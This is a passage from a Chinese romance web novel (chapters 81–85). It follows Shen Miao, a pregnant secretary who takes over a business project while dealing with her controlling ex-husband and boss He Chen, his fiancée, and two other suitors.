他手中的碳素笔被掰出裂痕,片刻他提气,面色渐渐缓下来。 “沈秘书怎么想。” 沈渺怎么想?她的大脑一片空白,因为这个安排来得太突然。 她一点防备都没有。 察觉到男人的不悦,她下意识想拒绝,但拒绝的话刚到嗓子眼,她顿住了。 政圈项目至少要一年半载才能完成。 只要接手这个任务,她就能远离贺忱的眼皮子底下了。 顶着贺忱袭来的源源不绝的压力,沈渺艰难开口,“既然董事们鼎力支持,我一定不负众望。” “好,好。”贺忱微微点着头,一连两个‘好’字,让会议室的气氛凝到冰点。 他舌尖抵了抵腮帮,看似缓下来的面容,却愈发令人心底发慌。 “难怪沈秘书对组队的事情这么上心,原来是早有打算,既然如此……” 贺忱沉吟片刻,侧身面朝着沈渺,吩咐道,“那就由你来,跟何之洲对接。” 他说的是‘何之洲’,而不是九州。 沈渺明白过来,他那句‘早有打算’是指什么。 可她没有解释,贺忱误不误会不重要。 十分钟后,会议结束。 沈渺从秘书,摇身一变‘兼’成为政圈项目负责人。 她从顶楼搬到了十七楼,在贺忱的办公室正下方。 这间办公室,是贺忱备用的。 顶楼修葺时,他曾在这儿办过半年的公。 刚好是沈渺嫁给他那两年时发生的事情。 沈渺印象深刻,因为那间办公室里,他曾失控过一次。 那是除了他那栋别墅外,为数不多的在外亲密。 刚将办公室收拾好,办公室门被敲响,林昭推门而入。 “沈秘书,贺总让我把你的东西,搬过来。” 不等沈渺反应过来,林昭就将内线电话拿进来,装在了她办公桌上。 “贺老爷子怎么突然点名让你接手政圈项目?” 林昭一边忙一边问。 沈渺手上的动作顿了下,很快恢复如常,“不清楚。” 她知道,是贺老夫人的手笔。 但她不想追究原因,趁势离着贺忱远一点就够了。 “贺总这边你还有得忙,又接手这儿项目,贺总的意思是如果实在忙不过来,你就说,他找人接替你。” 林昭转达贺忱的话。 沈渺手上的动作顿了一下,“忙得过来。” 林昭诧异看她一眼。 只有秘书一个职位,她每天都要加班,几乎没有自己的时间。 这又多了一项任务,怎么可能忙得过来? 他似乎,在沈渺脸上看到宁可忙死,也不肯只做贺忱秘书的表情? “装完了吗?”沈渺被他打量得不自在,面色淡然,“我要带队去开个会。” “完了。” 林昭放下内线电话,又看了沈渺两眼,欲言又止了几秒,最终还是离开了。 沈渺在办公桌前坐下来。 她建了个微信群,将小组的人都拉进来,宣布十分钟开会。 消息刚发出去,组员还没来得及回复,内线先被打通。 贺忱的声音传来。 “沈秘书,泡杯咖啡。” 沈渺眼皮一颤,犹豫了几秒迅速起身,到茶水间冲了一杯咖啡,送上去。 贺忱办公室里,午时的阳光铺满整个房间。 男人喉结以下的位置,被阳光笼罩,他散漫的靠在椅背上,慵懒又矜贵。 仿佛刚刚在会议室里,黑了脸的人不是他一样。 “这里有些文件,你去处理。” 沈渺看向他办公桌上跟小山一样的文件。 她将咖啡放下,随手翻了下文件,都是一些无关紧要的东西。 可沈渺还是默不作声地将文件都拿起来了。 “贺总,我能要个助理吗?” 贺忱修长的手指端着咖啡杯,递到嘴边轻抿着。 他考虑了几秒说,“可以,秘书部随便挑。” “谢谢贺总。”沈渺颔首,抱着文件离开。 她选了李白恬当助理。 李白恬主要负责帮她处理,贺忱丢下来的无关紧要的‘烂摊子’。 除此之外,贺忱让她泡咖啡,她泡好让李白恬送上去。 李白恬可是帮了她大忙,几乎干了秘书的所有事宜。 可就算是这样,沈渺带组开会,也被中断了好几次。 每次,都是贺忱找事。 一开始找些无关紧要的小事,沈渺交给李白恬处理。 后来,就找一些必须沈渺才能处理的事情。 如此一来,沈渺事务缠身,拖垮了整个小组的进度。 她不得不加班。 一下午,小组里几个人将政圈项目复盘了一遍,与九洲的人初次沟通后,对项目合作案做出初步调整。 沈渺过筛了调整之后的内容,又修改了几个地方,发到九洲负责人的邮箱。 刚发过去,她的手机就响了。 何之洲发来的微信:【你负责政圈项目啊?】 沈渺:【是。】 何之洲发了个龇牙乐的表情包:【请多多关照。】 政圈项目对九洲来说,至关重要。 所以是何之洲亲自负责。 沈渺想了想,给他回了个电话。 “何总,我刚接手项目,还不太熟,而且是做秘书的同时,兼顾项目,有时会很忙,可能进度会慢一些,希望你理解一下。” 何之洲毕竟是九洲总裁,她忙起来耽误了人家的时间,显得她比何之洲架子还大。 “行,你的面子我肯定给。”何之洲想到什么,有些虚虚的,“那个孩子……怎么样了?” 沈渺以为他说卷卷,“已经接受治疗了。” 何之洲沉顿了下又说,“不,我说你肚子里那个。” “……”沈渺眉头一拢,她说,“还在肚子里。” 这等于无效回答。 可仔细一想,何之洲觉得自己的问题也挺没意义的。 他转移话题,“你又做秘书又带项目,忙得清吗?” “放心,再忙我也会以你这边为主。” 沈渺心里有数,这项目关乎着两家公司,她一定不能拖后腿。 “你今晚加班?”何之洲又问。 沈渺看了看腕表,已经快八点了,整层楼一片漆黑,只有她办公室还亮着灯。 “嗯,今天本来应该见一面的,但我这边临时有事耽搁了,如果明天你有时间的话,方便见面吗。” 既然决定了合作,两拨人见个面谈项目的事情,更能直面问题。 何之洲爽快答应。 “那明天见。”沈渺挂了电话,收拾东西走出办公室。 一扭头,冷不丁看到贺忱在长廊尽头吸烟。 他吐烟圈时发出阵阵嘶气,清晰入耳。 81.让她一个人过来就行 光线昏暗的廊道里,男人薄唇里的烟明灭相间。 微弱的光亮将他五官照出轮廓,但神色模糊不清。 他存在感强到,沈渺几乎是一瞬间就注意到他的存在。 并且一眼看过去,很难再移开目光。 “贺总。” 理智回笼,沈渺关上办公室门,朝贺忱走过去。 她穿的平底鞋,踩在地板上几乎没有声音。 个子高挑的缘故,连衣裙裹身也十分显身段,并且让她看起来多了一丝活泼,像是大学生那般年轻朝气。 “嗯。” 贺忱鼻腔里发出一个单音节,薄唇里吐出的烟圈笼罩住他面庞。 他神色不辨喜怒,闷头吸着烟。 几秒的死寂后,沈渺动了动身形,往电梯口走。 进入电梯后,她又抬眸看了一眼。 贺忱依旧站在那儿吸烟,明明如此突兀的存在,却偏偏在他身上看出理所当然。 仿佛他就应该在这一层楼,就该出现在那儿一样。 电梯门缓缓合上,就在即将全部合上的那一刻,一双骨节分明的手蓦地挡住。 沈渺心脏漏跳一拍,她看着走进来的男人。 逼仄的空间,一下灌满了他的气息。 淡淡的烟味夹杂着一股沉香味。 她退到角落,保持最远的距离。 电梯下行,一片静谧。 不知过了多久,手机铃声乍然响起。 是贺忱的,他从口袋拿出手机接起。 他紧绷的面部线条松缓下来,声音柔和,“唯怡。” “贺忱哥,你还没回家?”程唯怡的声音传来。 “公司有点事,加班了。” 程唯怡‘嗯’了一声,“我都好几天没见你了,你什么时候来看我?” “明天,我去接你。” “好!那我们吃什么?” “你选。” 贺忱柔情肆意,程唯怡娇俏含羞。 灌满了整个电梯,一点点剥夺着沈渺的呼吸。 男人透过电梯壁回眸看了一眼,她中规中矩站着,乌黑的长发束起,面色如常。 ‘叮’电梯门开了。 贺忱站在那儿没动。 沈渺贴着他身体,先一步离开电梯,头也不回地朝车上走。 上车后,她将包放到一旁,掌心被指甲戳出深深的印记。 她却仿佛没察觉到,发动引擎,一脚油门离开。 贺忱盯着她离开的背影,面色渐渐恢复锐利。 结束通话后,他从电梯出来,上了迈巴赫扬长而去。 回到家中,沈渺通知组内人员,明天中午跟九洲的人一起吃饭。 她在京北商务餐厅定了一个大包厢,约的明天上午十一点。 原本还担心,明天中午约何之洲去吃饭,万一跟贺忱的行程冲突—— 现在完全不用担心了,明天贺忱去找程唯怡。 处理好所有事情,已经快十二点。 孕中期,沈渺的孕吐几乎没有了,食欲也渐渐恢复。 但更加嗜睡了,她头刚沾到枕头,就睡着了。 京北商务餐厅位于商业街的正中心。 沈渺带着组员步行过去,只用了十分钟。 谁知,到了那里才发现,何之洲自己来的。 他们一群人浩浩荡荡十来个,对面主位何之洲一个,气氛有些怪异。 “沈秘书,那我们……”李白恬犹豫着问,“还进去不?” 木门敞开着,何之洲坐在那里打电话,并未发现他们已经到了。 “当然进去。”沈渺也没想到,何之洲是一个人来的。 她带着人进入包厢。 “哎呀,我多抢手,你总给我相亲干什么……谁造谣说我不行的?我身体倍儿棒,你当奶奶是迟早的事情,你要是不信我明天就给你领回来一个……” 他的手搭在椅背上,懒洋洋的样子,透出几分桀骜不驯。 听见脚步声,他回头看了一眼,“行了行了,我忙工作了。” 说着,他挂电话,眼珠子在突然冒出来的十几个人身上扫来扫去。 “难怪你订这么大包厢,感情是把所有人都喊过来了?” 他这话,不乏有着只想跟沈渺一个人吃饭的意思。 李白恬为首的一群人,尴尬在想跟何之洲打招呼的阶段。 “既然是谈工作的事情,当然要让所有人都来。” 沈渺在距离何之洲有几个位置的椅子上坐下。 李白恬等人这才继续打招呼。 “何总。” “何总。” 众人七嘴八舌,打完招呼后拉开椅子入座,略显局促。 何之洲吊儿郎当地应了一声,翘着二郎腿坐着。 他两边都空着,对面坐了一排人。 “你过来坐。” 他拍了拍身边的椅子,“搞得好像我犯了错,被你们群审似的。” 沈渺只得拎着包往他那边挪,顺便示意其他人,也朝何之洲靠拢。 谁知,何之洲手一挥,“你们坐,让她一个人过来就行。” 李白恬屁股都离了坐,听到这话只能又坐回去。 “何总,要不您现在把负责这项目的人喊过来,一起吃饭?” 沈渺提议。 何之洲看了看腕表,“这个点儿他们都吃过了,这样,我在隔壁定下午茶,一会儿吃饱了让他们到隔壁谈工作。” 他掏出手机,拨出一通电话,吩咐参与项目的人现在赶过来。 一句‘他们’,抛开了沈渺和他自己。 在场的都听得出,何之洲想跟沈渺单独吃这顿饭。 沈渺动了动唇,正欲说什么,就见何之洲挂了电话,喊服务员点单。 “想吃什么随便点,别客气,我请客。” 他让服务员把菜单交给李白恬等人,让每个人都点一道菜。 李白恬等人看向沈渺。 “何总大度,点吧。”沈渺朝他们点点头。 每个人点了一道中等价格菜系。 最后菜单落到何之洲手里,他豪气把每个招牌菜都上了一份。 点完单,趁上菜的期间,沈渺提起工作。 “何总,这次政圈项目……” “项目的事情,我不懂,都是下面人做,等他们来了再说吧。” 何之洲打断沈渺。 沈渺脑仁一阵抽痛。 当着这么多人,何之洲毫无收敛地只想跟她扯淡! 不论她暗暗给何之洲使了多少眼色,何之洲都无动于衷。 很快服务员来上餐,李白恬等人客气一番后,光速吃饱然后离席。 “何总您慢用,我也吃好了,先走一步。” 沈渺拿了包起身就走,也准备到隔壁去。 何之洲一把拉住她手腕,“你别走啊——” 他低估了沈渺想离开的决心,拽了一把没拽住,立马加大力度又扯了一把。 沈渺一个不慎,被他拉着踉跄后退,歪扭的身体朝椅子尖锐倒过去! 82.贺忱那卦的,我更不喜欢! “哎呦!” 何之洲眼看不妙,迅速站起来双手接着沈渺的身体。 沈渺一阵心惊,落在了他怀里,被他双手紧紧托着后腰。 她提气,连呼吸都不敢用力,迟迟缓不过来。 “好不容易借着工作光明正大出来,你这么着急走干什么?” 何之洲被吓个半死,“我又不会吃了你!” 沈渺稳住心神,借着他手腕的力量站起来。 她心有余悸,听到他的话又气又恼,脸颊涨红着。 “你能不能正经点?” 见她真生气了,何之洲咂咂嘴,旋即又扯起笑脸。 正欲贫两句,冷不丁看到门口两抹身影。 他笑容僵了几秒,然后更为灿烂。 “男人不坏女人不爱啊,沈秘书不喜欢我这样的?那你喜欢什么样的?贺忱那正人君子,禁欲系那一卦的?” 沈渺听到他提贺忱,脑仁抽痛更甚。 她急于撇清与贺忱的任何关系。 “他那卦的,我更不喜欢!” 何之洲嘴角咧到耳根子,坐回位置上,再次看向门口,装作刚刚看到的样子。 “呀,贺总,这不是巧了吗,你不会刚刚听到沈秘书的话了吧?” 沈渺抻平裙子,听到他的话身形一凝。 她渐渐回过头。 包厢门口,贺忱站在那儿。 他面前是乘轮椅的程唯怡。 程唯怡面色的讶然,转过头去看贺忱的脸色。 “听说你们在这里谈工作,过来看看。” 贺忱一手抵着程唯怡轮椅,一手插兜。 他像是没听到沈渺那句话。 何之洲意味深长地打量他,“确实谈工作了,贺总可不要误会,刚刚……只是一个小插曲。” 此地无银三百两。 他用幸灾乐祸的语气,把沈渺想解释的话说出来了。 沈渺站在那里,目光落在不知名处,眉头淡拧着。 “工作谈得怎么样。”贺忱目光直逼沈渺脸颊。 沈渺与何之洲拉开些距离,“在等九洲的人过来。” 贺忱面色不虞。 “贺忱哥,你都把项目交给沈秘书了,就给她足够的权利和空间,别管这么多了。” 程唯怡适时宜开口,她轻轻拉着贺忱胳膊,“我都饿了,我们快去吃饭吧。” 贺忱眼皮落下,嗓音柔下来,“好。” 他抽出被程唯怡拉着的手,扶上轮椅,正欲走。 却听何之洲又说,“我们这一桌子还没动,贺总要是不嫌弃一块儿坐下吧,政圈项目咱们一起合作,以前的恩怨一笔勾销,化干戈为玉帛……” 生怕贺忱不留下,他起身离席,挡住了程唯怡的轮椅。 摆低姿态,要为以前找贺忱茬的事情道个歉,极力挽留贺忱入座。 他甚至还将主座的位置让出来了。 沈渺脑袋嗡嗡作响,听到何之洲的声音就身体紧绷。 生怕他下一句,就说‘沈渺怀孕了,孩子是你的’。 不怪她思维跳脱,实在是何之洲这人,更跳脱! 在何之洲的极力挽留下,贺忱带着程唯怡入座。 他冷着一张脸,给程唯怡布菜,对何之洲喋喋不休的废话,置之不理。 “贺总跟程小姐感情真好。” 何之洲扭头又冲沈渺说了句,“沈秘书,你见过你们贺总这么贴心吗?” 沈渺站在那儿没入座,想找个合适的机会走。 冷不丁被点名,她扯着嘴角摇头,“没见过,贺总跟程小姐感情好,理所应当。” “是吗。”何之洲若有似无地暗示,“我可不信,你们贺总就没干过一点对不起程小姐的事儿。” 沈渺:“……” “当然没有。”程唯怡挽住贺忱胳膊,她盈盈笑着,“贺忱哥这人最信守承诺了,他既然跟我在一起,就不会对不起我。” 莫名,沈渺想到上次那个吻。 不,算不上吻,是贺忱狠狠吸吮她颈间,留下吻痕的事情。 算不算对不起程唯怡? 就算不动感情,可至少行动上存在逾越。 “你先吃,等会儿凉了。” 贺忱快将程唯怡碗里堆成小山,他两耳不闻窗外事,眼里只有程唯怡。 程唯怡点头,拿着筷子小口小口吃着,被照顾得无微不至。 沈渺低头,卷翘的睫毛在下眼睑打出倒影,遮住眼底的黯然。 “贺总,你跟程小姐什么时候结婚啊。” 何之洲晃动着二郎腿,一脸笑眯眯。 跟贺忱说着话,他的目光却是落在沈渺身上。 “到时候通知你。” 贺忱头也不抬地说。 “结婚,生子,一家三口圆满,和和美美的……” 何之洲将‘一家三口’咬得很重。 沈渺每听一句,心便要提起来一些,眉头皱得更紧一分。 她唇瓣轻启,正欲说什么时,却忽然听程唯怡开了口。 “贺忱哥,我……没胃口,不想吃了。” 前一秒还坐在那里吃得津津有味的程唯怡,此刻突然脸色有些古怪。 她放下筷子,脸色有些苍白。 贺忱阴鸷的目光扫了何之洲一眼。 何之洲笑容一僵,不明所以。 “不吃了,我送你回去。” 贺忱起身,推动轮椅朝外面走去。 走到门口时,他停下来看向沈渺,“下午你到我办公室来一趟。” 沈渺点头,“是。” 她清眸染着诧异,看着贺忱带程唯怡离开。 何之洲呆愣着,反映了好一会儿问,“我说错什么了吗?” 沈渺拧起眉,她回想着何之洲那番话。 嘴是又欠又碎了点。 但不至于让程唯怡一下子失态。 何况早点结婚,早生贵子,不应该是程唯怡期盼的吗? “最讨厌这种叽叽歪歪的性格,有什么不能说出来。” 何之洲的瘾还没过够呢,局就散了,他比谁都不高兴。 “贺忱怎么受得了这样的女人?” 沈渺想不出哪里的问题,索性不想了,她拿起包搭在臂弯处。 “请你以后别再开这样的玩笑,这一点也不好笑。” 何之洲立马表明态度,“我有分寸的,我答应过不出卖你,就一定不会出卖!” “工作的事情我们谈,你别过来了。” 他的保证对沈渺来说,含金量不高。 沈渺的语气不是很好,说完转身走人。 看着她离开的背影,何之洲挠了挠头,精心打扮的发型成了鸡窝。 “不是,程唯怡有病吧?” 他看向程唯怡位置上,碗碟里堆满的食物吃了没几口。 好端端,突然就走了? 而此时,迈巴赫车上,气氛凝重。 程唯怡低着头,手指紧紧纠缠,面色难掩落寞。 83.她的私事,跟贺忱又有什么关系? 贺忱沉默着。 好一会儿,程唯怡吸吸鼻子,转过头来看着他。 “贺忱哥,你刚刚都没怎么吃东西,我再陪你吃一点吧?毕竟,你还要工作呢。” 贺忱缓摇了下头,“不了,没什么食欲。” 程唯怡抿了下嘴唇,面色难掩自责,“怪我,影响到你的心情了。” 本就凝重的气氛,突然衍生出一股令人窒息的沉重。 贺忱的眉骨一拢,眸色深沉了许多,语气却是故作轻松,“腿什么时候复查?到时我陪你去。” “嗯。”程唯怡顺着他,将话题转移,“再过几天,到时候我给你打电话。” “那我送你回家。”贺忱发动引擎,踩下油门,汽车缓缓朝着程家驶去。 片刻,抵达程家门口。 贺忱将程唯怡从车上抱下来,放到轮椅上,“我送你进去。” “不用,我自己可以。”程唯怡冲他挤出一个笑容,“你还有工作,快回公司吧。” 一想到贺忱让沈渺去他办公室,程唯怡的心头便沉甸甸的。 可她如今行动不便,不能每天都去百荣。 贺忱并未坚持,他折身回到车上。 刚发动引擎,车窗便被敲响,是程唯怡。 他只得将车窗落下来。 车窗半落,贺忱侧脸棱角分明,精致又矜贵的模样,令程唯怡每看一次,都会心跳忍不住加速。 “贺忱哥,我……” 她欲言又止,最终却是说不出口。 贺忱先开了口,“回去好好休息,什么也不要想。” 程唯怡沉默片刻,“可是,那……” “说好的,这件事情是秘密,谁也不提。” 贺忱打断她,语气半哄半严肃。 “好。”程唯怡眼眶又红润了些,但她压了压,“路上注意安全。” 她将轮椅后移,让出位置,看着迈巴赫飞速驶离原地。 拐角处,没了迈巴赫的踪影后,程唯怡才操控轮椅进入别墅。 “这么快就回来了?”孙易琴走过来,一眼看出程唯怡心情不好,“发生什么事情了?” 程唯怡气恼道,“遇上了何之洲!” 孙易琴霎时黑脸,“他又欺负你了?都怪沈渺,不然咱们怎么会跟他扯上关系!” 母女两个进入客厅,下人过来将程唯怡搀扶到沙发上坐下。 看着她打着石膏的小腿,孙易琴心疼不已。 “我的好女儿,遭罪了,竟是让一个没爹妈的给欺负了。” 她搂着程唯怡,继而叹息了声,“什么时候你坐稳了贺家少夫人的位置,我这颗心才能落下!你这些苦,才算没白吃。” 程唯怡紧抿着嘴唇,不知在想什么。 “我探过口风,你伯母有意让你们快点结婚,她嘴上说贺忱工作忙安排不开,其实那意思就是决定权在贺忱手上,你催催贺忱,尽快把婚事办了。” 孙易琴有些等不及了。 闹出这么多事情,她总有一种不好的预感。 “婚是一定会结的,至于什么时候结,看贺忱哥的计划,我不能催。” 程唯怡这话一出,孙易琴愣住了。 “你刚从国外回来没多久,你们就在一起了,可见是有感情的,怎么就不能催了?你以前可不是这么说的,是不是出什么事情了?” “没事,你别问了。”程唯怡一副不愿多说的样子。 孙易琴见她如此,只当是因为沈渺,让程唯怡受了委屈,变得卑微了。 “你说你们两个,青梅竹马,好端端怎么就蹦出来个沈渺……” —— 沈渺跟九洲的人谈项目,散场时已经三点半。 回到公司后,她直奔顶层总裁办公室。 刚上去,就遇上林昭。 “沈秘书,贺总让你去会议室。” 沈渺看了看腕表,四点钟有个高层例会,会议至少两个小时。 “林助,你等下有事吗?” “跟贺总一起开会啊。”林昭拍了拍文件,是开会时需要用的。 沈渺拿出一支录音笔,“你把录音笔带进去,会议结束我来拿,然后对会议进行总结,下班之前弄好发贺总邮箱。” 她楼下还有一堆事情等着处理。 林昭知道她忙,接过录音笔嘀咕了句,“贺总也是,让你身兼双职,还是不可兼顾的职位。” “谢了。” 沈渺朝他笑笑,转身下楼。 回到办公室,刚忙了没多会儿,内线便被打通。 “上楼。” 贺忱富有磁性的声音低沉又沙哑,浸染着不满。 沈渺捏着笔的手紧了紧,片刻放下手中工作,上楼。 她敲响了贺忱办公室的门。 “进。” 沈渺推门而入。 贺忱鼻梁上架着金丝眼镜,镜片下那双鹰隼般的眼眸,掀弄了下朝她看过来。 仅仅一眼,又落回他面前的屏幕上。 “会议为什么缺席。” 沈渺被那一眼看得喉咙发紧,她清了清嗓子。 “政圈项目有些棘手的地方,需要赶快改出来,毕竟是跟九洲合作,不方便让人家等太久。” 贺忱掀了掀唇角,“是怕九洲的人等太久,还是你想因公谋私,多跟何之洲见几次面?” 听似询问的语气,实则已经将‘因公谋私’的罪名,冠在沈渺的身上了。 沈渺呼吸一滞。 她没想过,贺忱会故意曲解。 是故意的,她从他的眼睛里看出了不满和刁难。 “你明知道我跟何之洲不是那种关系。” “那你们是什么关系。” 贺忱摘掉眼镜,丢在桌子上,不虞的脸色更为清晰。 沈渺,“合……”作关系。 “我不管你们是什么关系。” 贺忱根本不听她说辞,“恪守本分。” 什么本分? 现在百荣跟九洲都联手合作了,关系缓和。 她跟九洲的人碰头谈工作是正常流程。 于公没有本分。 于私…… 她的私事,跟贺忱又有什么关系? “把这些文件处理了。” 贺忱指着桌角一摞文件。 沈渺将文件搬起来,转身往外走。 “就在这儿处理。”贺忱再度开口,逼停了她的脚步。 沈渺折回来,抱着文件坐下,一个接一个地处理。 从夕阳西下,到暮色初上。 办公室亮如白昼,她动了动僵硬的脖子,面色淡薄寡凉。 文件不难处理,可数量太多,今晚十点都别想走。 何况沈渺还在线上与组员讨论政圈项目的事情。 一心几用,渐渐地她眉色染上疲倦,眼皮也有些发沉。 贺忱看着她的头点了一下又一点,最终支撑不住趴在桌子上睡着。 84.贺忱就是在躲着她? 贺忱看了看时间,八点半。 他们还没吃晚饭,她硬是一声不吭,埋头工作。 几次揉着酸软的肩膀和脖子,都不肯提下班的事情。 睡着的沈渺脸上没了那份倔强,细嫩的皮肤上能看到容貌。 灯光下,卷翘浓密的睫毛随着她的呼吸,落在纸上又洒回脸颊,而微微颤动。 男人原本看向她清冷的眼神,不知何时渐渐柔和了许多。 尤其看到她被一缕头发,拨弄得鼻子发痒,几次三番地揉着鼻尖儿—— 他骨节分明的手微动,将那缕头发拨开,挽到她耳后。 指尖柔软的触感,令贺忱的心头受到了重重一击那般,扯得他胸腔发紧。 沈渺突然轻哼了声。 贺忱的手如触电般撤回,眼底恢复了清冷。 “下班吧。” 他站起来,拿着外套阔步离开。 开关门的声音传来,沈渺渐渐在睡梦中清醒。 看到面前位置上没了人,她猛地坐直。 ‘下班吧’。 那声音回荡在她耳边,她以为是梦。 回过神来后,沈渺迅速收拾文件离开。 十七楼办公室,她处理了几个跟政圈项目有关的文件,再回家时已经快十一点了。 半路上就接到商音的电话。 “不是,贺忱到底想干什么?” 商音知道她现在身兼双职,每天忙到半夜,十分担心。 “就算是孕期中,也禁不起这么拼啊!” 沈渺也没想到,接下政圈项目会造成今天这个局面。 “等项目提上正规,就不会这么忙了,最多再有一个月。” 一个月后,团队磨合期过了,初步的项目书应该也确定好了。 “那你别忘记产检。”商音提醒她,“到时候给我打电话,我陪你去。” 算算日子,确实到下一次产检时间了。 红绿灯路口,沈渺踩下刹车,“我一个人去就行,你也挺忙的,又要抽时间陪孩子。” 商音恢复工作,晚上直播白天补觉,又要腾时间陪孩子。 沈渺不想占据她的时间。 “是去产检,又不是要生了,你不用跟着。” 生怕商音不同意,沈渺又添了一句。 商音叹了口气,“苦逼的日子,什么时候是个头!” “熬个三十年,熬到退休吧。” 沈渺打趣道。 “那还是算了!”商音咂咂嘴,“趁着年轻还能潇洒一下,退休了牙都掉了,用白内障的眼睛看帅哥,都觉得丑。” 沈渺被逗笑,回家的路上跟商音有一搭没一搭地闲聊。 凌晨,她一只脚刚踏进家门,手机就响了一声。 是张科研发来的微信。 【沈小姐,明天有时间吗?请你吃个饭。】 沈渺:【抱歉,最近工作有些忙,阿姨的身体怎么样?】 张科研:【有些糟糕,需要长期吃药,若不是你及时找到了医生,她很可能撑不到现在。】 虽然跟张母只见过几次,跟张科研也没多熟。 可沈渺见不得骨肉分离,尤其是生死的离别。 所以她做了顺水人情,从未想过要回报。 【不用这么客气,你好好照顾阿姨。】 她放下手机,进入浴室洗澡。 再出来时,便见张科研十分钟前又回了消息过来。 【一顿饭还不了恩情,应该的礼数,沈小姐什么时候不忙了,请一定告诉我。】 张科研是个体面,讲究礼数的人。 沈渺没再回消息,放下手机上床,被疲倦淹没,没一会儿就睡着了。 接下来几日,她在十七楼和顶楼之间周转,忙得脚底冒火星。 不过不是贺忱刁难,而是正常工作流程。 不知不觉,她已经三天没有看到贺忱了。 每次会议记录,她都让林昭带录音笔,过后再整理会议内容,总结发到贺忱的邮箱。 偶尔有饭局,也是林昭跟着贺忱去。 这天,沈渺上楼找林昭时,被吴蕾拦下了。 “沈秘书,听科研说你帮他妈妈找了医?” 沈渺点头,“刚好有认识的人。” 吴蕾一脸感激,“我这儿没有门路,四处碰壁,你可是帮了我们大忙,这不他让我问你,什么时候有空一起吃个饭。” “不用客气麻烦,我是真的忙,你又不是看不见。” 沈渺每天楼上楼下地跑,秘书办多少双眼睛都看着呢。 吴蕾立马说,“明天顶楼所有部门团建,在郊区度假村,到时候大家自由活动,我让他过来。” “不……” “就这么说定了,我现在就给他打电话。” 吴蕾不给她拒绝的机会,边掏手机边往楼道里走。 沈渺欲追,恰好贺忱从办公室出来。 男人熟悉的气息迎面扑来,她脚步顿住。 “贺总。” “嗯。”贺忱不冷不热地应了一声,越过她朝电梯走去。 沈渺舒展的眉眼渐渐拢起,不由得朝他看了一眼。 若说之前,贺忱是故意在‘为难’她。 那现在,贺忱就是在躲着她? 算不上躲,但就是不理她。 目送贺忱乘电梯下去,沈渺敛回目光,静默数秒转身去了林昭办公室。 团建是经沈渺手操办的,她不打算去,可林昭说那天贺忱还约了个大客户。 到时候他们两个都要喝酒,还得指望沈渺开车。 沈渺只能去,她将最后确定好的流程单递过去。 次日一大早,她驱车直奔目的地。 上午八点,所有人都抵达度假村。 沿海度假村,整个被承包下来,所有员工在沙滩上玩儿。 只有沈渺在房间里,懒散地休息着,时不时回一下群里的工作消息。 临近中午,她收拾好东西,跟林昭打过招呼后,离开度假村,去就近的餐厅。 张科研在那儿等着,哪怕她后来再三言明没必要这么麻烦,张科研还是坚持要跟她吃这顿饭。 十分钟后,沈渺抵达餐厅。 刚下车,她便看到张科研在二楼靠窗的位置坐着。 见她来了,张科研起身,下楼迎接她。 “沈小姐,好久不见。” 他伸出手,欲接沈渺的包。 沈渺不动声色地避开了,“张先生,其实你不用跑这么远,麻烦这一趟。” 张科研将手收回,引着她往楼上走。 “那我们都别再客气,来都来了,而且也见过这么多次,以后你就叫我科研吧,我叫你沈渺。” ‘沈小姐、张先生’,疏离的开场白更让人局促。 85.你跟贺总解释一下吧 沈渺想不客气,可她真的跟张科研不熟。 所以她只能笑笑,说了句‘行’。 两人在二楼靠窗位置入座,张科研招手喊来服务员点餐。 “我了解过这家餐厅,几个招牌菜不错,网友力荐。” 张科研把菜单放在沈渺面前,指着几个招牌菜说。 沈渺随意看了一眼,便将菜单退回去,“我不挑,你选就行。” “好。”张科研察觉她客气着,便直接点餐,“喝点什么?” “白水就行。” 张科研点完餐,将菜单交还给服务员。 很快服务员端上来一壶热水。 他拿过水壶给沈渺倒水。 “虽然有些啰嗦,但我妈的事情,还是要当面再谢一下。” 沈渺双手接过他倒好水的茶杯,“阿姨没事就好。” 张科研坐回去,举起茶杯,一本正经地说,“我以水代酒,敬你一个吧。” 他坐得笔直,一脸严肃。 沈渺怔了几秒,不禁莞尔,别开头蓦地笑了。 她以为,自己就够严肃的了。 谁知道,张科研比她还‘老干部’做派。 “那我们喝完这杯,以后不再提这件事情了。” 她与张科研碰杯。 许是察觉到自己太严肃,张科研松缓了下脸色。 “好,以后不提了。” “听说,你现在负责政圈的项目,跟九洲的人合作。” 张科研抛出话题。 沈渺点头,政圈项目知名度挺高的,不少人都知道。 “业界传言,百荣跟九洲是死对头,没想到也有合作的一天。” 张科研这个刚在京北站稳脚,工作没多久的人都听说百荣跟九洲不合。 “没有永远的朋友,也没有永远的敌人。” 沈渺并不意外百荣跟九洲会有合作的这一天。 张科研围绕着商圈的事情,侃侃而谈。 偶尔抛出问题,与沈渺往来交流。 时不时开个玩笑,缓解着气氛。 跟他聊天挺舒服的,沈渺逐渐放松,脸上始终挂着恬静笑容。 直到目光触及路边商务车旁站着的身影。 她神色一僵。 贺忱刚下车,指骨整理着腕表。 单薄的眼皮撩拨起,准确无误地落在沈渺身上。 四目相对间,男人的眼眸越来越深。 他身旁,一个约莫五十来岁的男人站在那里,笑呵呵地说着什么。 片刻,贺忱收回目光,与男人握手后,率先朝餐厅内走来。 “那是你上司吧。” 张科研也看到了贺忱,他站起来,“他旁边那个,是我老板。” “微克的老总?” 团建约大客户,是私下增进关系,属于贺忱的私交。 沈渺并不知道,贺忱约的人竟是微克的老总。 “对。”张科研颔首,不待再说什么。 贺忱等人已经上楼来。 微克的老总叫陈庆,他跟在贺忱后面上来,一眼就看到了张科研。 “陈总。” 张科研走过来,朝着贺忱颔首,“贺总。” 陈庆的目光却是打量沈渺,“欸,贺总,那位是你秘书吧?” 贺忱看向沈渺,像是刚看见那般,眉梢一挑仿佛诧异。 沈渺只得起身走过来,“贺总,陈总。” “还真是。”陈庆开怀一笑,“小张,你们这是……” 张科研如实说,“听说这家餐厅不错,约她吃饭。” 陈庆笑得更灿烂,他侧目看向贺忱,“贺总,干脆一起吧。” 贺忱笔挺的身姿站在那里,自带气场将身高相近的张科研压得死死的。 “只要陈总愿意,我没意见。” 几个人一块儿进了贺忱提前订好的包厢。 六人桌的方桌,沈渺坐在贺忱旁边,对面是张科研。 林昭停好车上来,看到她也在,一脸诧异。 默不作声搬了个椅子,坐到了贺忱另外一侧。 “小张,你跟沈秘书怎么认识的?” 陈庆闲聊。 张科研斟酌一番道,“我的远房亲戚在百荣秘书部,介绍我们认识的。” 他虽未直接说是相亲,但意思不言而喻。 “早说你们认识,这次合作我就让你也参与了。” 张科研刚进微克,过人的能力让陈庆早就注意到他了。 只是资历太浅,所以没有给太大的权利。 